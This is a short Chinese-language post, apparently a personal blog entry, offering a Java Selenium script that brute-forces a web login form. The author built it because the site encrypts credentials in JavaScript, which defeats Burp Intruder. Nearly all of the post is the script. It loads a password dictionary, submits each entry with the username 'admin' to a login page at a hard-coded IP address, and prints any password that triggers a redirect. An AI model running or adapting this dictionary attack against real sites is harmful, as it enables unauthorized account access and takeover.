經常碰到網站，賬號密碼通過js加密后進行提交。通過burp攔截抓到的賬號密碼是加密后的，所以無法通過burp instruder進行破解。只能模擬瀏覽器填寫表單並點擊登錄按鈕進行破解。於是想到了自動化web測試工具selenium，代碼如下，測試效果還不錯。
package com.example.tests;
import java.util.regex.Pattern;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileReader;
import java.util.concurrent.TimeUnit;
import org.junit.*;
import static org.junit.Assert.*;
import static org.hamcrest.CoreMatchers.*;
import org.openqa.selenium.*;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.support.ui.Select;
public class GS {
private WebDriver driver;
private String baseUrl;
private boolean acceptNextAlert = true;
private StringBuffer verificationErrors = new StringBuffer();
@Before
public void setUp() throws Exception {
driver = new FirefoxDriver();
baseUrl = "http://223.116.34.113:81/";
driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
}
@Test
public void testGS() throws Exception {
File file = new File("C:\\Users\\root\\Desktop\\xxx\\password.txt"); //加載密碼字典
FileReader fr = new FileReader(file);
@SuppressWarnings("resource")
BufferedReader br = new BufferedReader(fr);
@SuppressWarnings("unused")
String str = "";
while ((str = br.readLine()) != null) { //循環讀取字典里的每一行
String url = baseUrl + "/web/login.aspx?" + str; // 后邊加上str是為了每次強制刷新url，加不加看具體情況
driver.get(url);
driver.findElement(By.id("txt_UserID")).clear(); //清空用戶名輸入框
driver.findElement(By.id("txt_UserID")).sendKeys(admin); //設置用戶名
driver.findElement(By.id("txt_Password")).clear(); //清空密碼輸入框
driver.findElement(By.id("txt_Password")).sendKeys(str); //設置密碼
driver.findElement(By.xpath("//a/span")).click(); //模擬點擊登錄按鈕
Thread.sleep(1000); //等待一秒，是否等待看具體情況。
String cururl = driver.getCurrentUrl(); // 獲取當前url
if (!cururl.equals(url + "#")) { //如果登錄成功會跳轉，則url會發生變化
System.out.println(str); //輸入可以登錄成功的密碼
}
}
}
@After
public void tearDown() throws Exception {
driver.quit();
String verificationErrorString = verificationErrors.toString();
if (!"".equals(verificationErrorString)) {
fail(verificationErrorString);
}
}
private boolean isElementPresent(By by) {
try {
driver.findElement(by);
return true;
} catch (NoSuchElementException e) {
return false;
}
}
private boolean isAlertPresent() {
try {
driver.switchTo().alert();
return true;
} catch (NoAlertPresentException e) {
return false;
}
}
private String closeAlertAndGetItsText() {
try {
Alert alert = driver.switchTo().alert();
String alertText = alert.getText();
if (acceptNextAlert) {
alert.accept();
} else {
alert.dismiss();
}
return alertText;
} finally {
acceptNextAlert = true;
}
}
}
以上代碼依賴如下（maven）：pom.xml
